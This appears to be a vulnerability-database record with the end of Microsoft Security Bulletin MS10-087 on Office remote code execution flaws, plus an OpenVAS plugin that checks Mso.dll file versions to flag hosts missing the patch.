vulnerable component of Microsoft Office uses a more appropriate and secure search order when loading libraries.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed? \r\nYes. This vulnerability had been publicly disclosed when this security bulletin was originally issued.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited? \r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers when this security bulletin was originally issued.\r\n\r\nOther Information\r\nAcknowledgments\r\n\r\nMicrosoft thanks the following for working with us to help protect customers:\r\n\u2022\t\r\n\r\nteam509, working with VeriSign iDefense Labs, for reporting the RTF Stack Buffer Overflow Vulnerability (CVE-2010-3333)\r\n\u2022\t\r\n\r\nDyon Balding of Secunia for reporting the Office Art Drawing Records Vulnerability (CVE-2010-3334)\r\n\u2022\t\r\n\r\nWill Dorman of CERT Coordination Center for reporting the Office Art Drawing Records Vulnerability (CVE-2010-3334)\r\n\u2022\t\r\n\r\nTippingPoint's Zero Day Initiative for reporting the Drawing Exception Handling Vulnerability (CVE-2010-3335)\r\n\u2022\t\r\n\r\nChaouki Bekrar of VUPEN Vulnerability Research Team for reporting the MSO Large SPID Read AV Vulnerability (CVE-2010-3336)\r\n\u2022\t\r\n\r\nHaifei Li of Fortinet\u2019s FortiGuard Labs for reporting the Insecure Library Loading Vulnerability (CVE-2010-3337)\r\n\u2022\t\r\n\r\nSimon Raner of ACROS Security for reporting the Insecure Library Loading Vulnerability (CVE-2010-3337)\r\nTop of sectionTop of section\r\nMicrosoft Active Protections Program (MAPP)\r\n\r\nTo improve security protections for customers, Microsoft provides vulnerability information to major security software providers in advance of each monthly security update release. Security software providers can then use this vulnerability information to provide updated protections to customers via their security software or devices, such as antivirus, network-based intrusion detection systems, or host-based intrusion prevention systems. To determine whether active protections are available from security software providers, please visit the active protections Web sites provided by program partners, listed in Microsoft Active Protections Program (MAPP) Partners.\r\n\r\nSupport\r\n\u2022\t\r\n\r\nCustomers in the U.S. and Canada can receive technical support from Security Support or 1-866-PCSAFETY. There is no charge for support calls that are associated with security updates. For more information about available support options, see Microsoft Help and Support.\r\n\u2022\t\r\n\r\nInternational customers can receive support from their local Microsoft subsidiaries. There is no charge for support that is associated with security updates. For more information about how to contact Microsoft for support issues, visit the International Support Web site.\r\n\r\nDisclaimer\r\n\r\nThe information provided in the Microsoft Knowledge Base is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\r\n\r\nRevisions\r\n\u2022\t\r\n\r\nV1.0 (November 9, 2010): Bulletin published.", "modified": "2010-11-10T00:00:00", "published": "2010-11-10T00:00:00", "id": "SECURITYVULNS:DOC:25106", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:25106", "title": "Microsoft Security Bulletin MS10-087 - Critical Vulnerabilities in Microsoft Office Could Allow Remote Code Execution (2423930)", "type": "securityvulns", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "openvas": [{"lastseen": "2019-05-29T18:40:06", "bulletinFamily": "scanner", "description": "This host is missing a critical security update according to\n Microsoft Bulletin MS10-087.", "modified": "2019-05-03T00:00:00", "published": "2010-11-10T00:00:00", "id": "OPENVAS:1361412562310901166", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310901166", "title": "Microsoft Office Remote Code Execution Vulnerabilities (2423930)", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Microsoft Office Remote Code Execution Vulnerabilities (2423930)\n#\n# Authors:\n# Sooraj KS <kssooraj@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2010 SecPod, http://www.secpod.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 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exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"misc_func.inc\");\n\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS10-087';\nkbs = make_list(\"2289158\", \"2289161\", \"2289169\", \"2289187\");\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\narch = get_kb_item_or_exit(\"SMB/ARCH\");\noffice_vers = hotfix_check_office_version();\nif (!is_accessible_share()) exit(1, \"is_accessible_share() failed.\");\nvuln = FALSE;\n\nx86_path = hotfix_get_commonfilesdir();\nif (!x86_path) audit(AUDIT_PATH_NOT_DETERMINED, 'Common Files');\nx64_path = hotfix_get_programfilesdirx86();\nif (arch == 'x64' && !x64_path) audit(AUDIT_PATH_NOT_DETERMINED, 'Program Files (x86)');\n\n# Office 2010\nif (office_vers[\"14.0\"])\n{\n if (\n hotfix_is_vulnerable(file:\"Mso.dll\", version:\"14.0.5128.5000\", min_version:'14.0.0.0', path:x86_path+\"\\Microsoft Shared\\Office14\", bulletin:bulletin, kb:\"2289161\") ||\n hotfix_is_vulnerable(file:\"Mso.dll\", arch:\"x64\", version:\"14.0.5128.5000\", min_version:'14.0.0.0', path:x64_path+\"\\Common Files\\Microsoft Shared\\Office14\", bulletin:bulletin, kb:\"2289161\")\n ) vuln = TRUE;\n}\n# Office 2007\nif (office_vers[\"12.0\"])\n{\n sp = get_kb_item(\"SMB/Office/2007/SP\");\n if (!isnull(sp) && sp == 2)\n {\n if (\n hotfix_is_vulnerable(file:\"Mso.dll\", version:\"12.0.6545.5004\", min_version:'12.0.0.0', path:x86_path+\"\\Microsoft Shared\\Office12\", bulletin:bulletin, kb:\"2289158\") ||\n hotfix_is_vulnerable(file:\"Mso.dll\", arch:\"x64\", version:\"12.0.6545.5004\", min_version:'12.0.0.0', path:x64_path+\"\\Common Files\\Microsoft Shared\\Office12\", bulletin:bulletin, kb:\"2289158\")\n ) vuln = TRUE;\n }\n}\n# Office 2003\nif (office_vers[\"11.0\"])\n{\n sp = get_kb_item(\"SMB/Office/2003/SP\");\n if (!isnull(sp) && sp == 3)\n {\n if (\n hotfix_is_vulnerable(file:\"Mso.dll\", version:\"11.0.8329.0\", min_version:'11.0.0.0', path:x86_path+\"\\Microsoft Shared\\Office11\", bulletin:bulletin, kb:\"2289187\") ||\n hotfix_is_vulnerable(file:\"Mso.dll\", arch:\"x64\", version:\"11.0.8329.0\", min_version:'11.0.0.0', path:x64_path+\"\\Common Files\\Microsoft Shared\\Office11\", bulletin:bulletin, kb:\"2289187\")\n ) vuln = TRUE;\n }\n}\n# Office XP\nif (office_vers[\"10.0\"])\n{\n sp = get_kb_item(\"SMB/Office/XP/SP\");\n if (!isnull(sp) && sp == 3)\n {\n if (\n hotfix_is_vulnerable(file:\"Mso.dll\", version:\"10.0.6867.0\", path:x86_path+\"\\Microsoft Shared\\Office10\", bulletin:bulletin, kb:\"2289169\") ||\n hotfix_is_vulnerable(file:\"Mso.dll\", arch:\"x64\", version:\"10.0.6867.0\", path:x64_path+\"\\Common Files\\Microsoft Shared\\Office10\", bulletin:bulletin, kb:\"2289169\")\n ) vuln = TRUE;\n }\n}\n\nif (vuln)\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}]}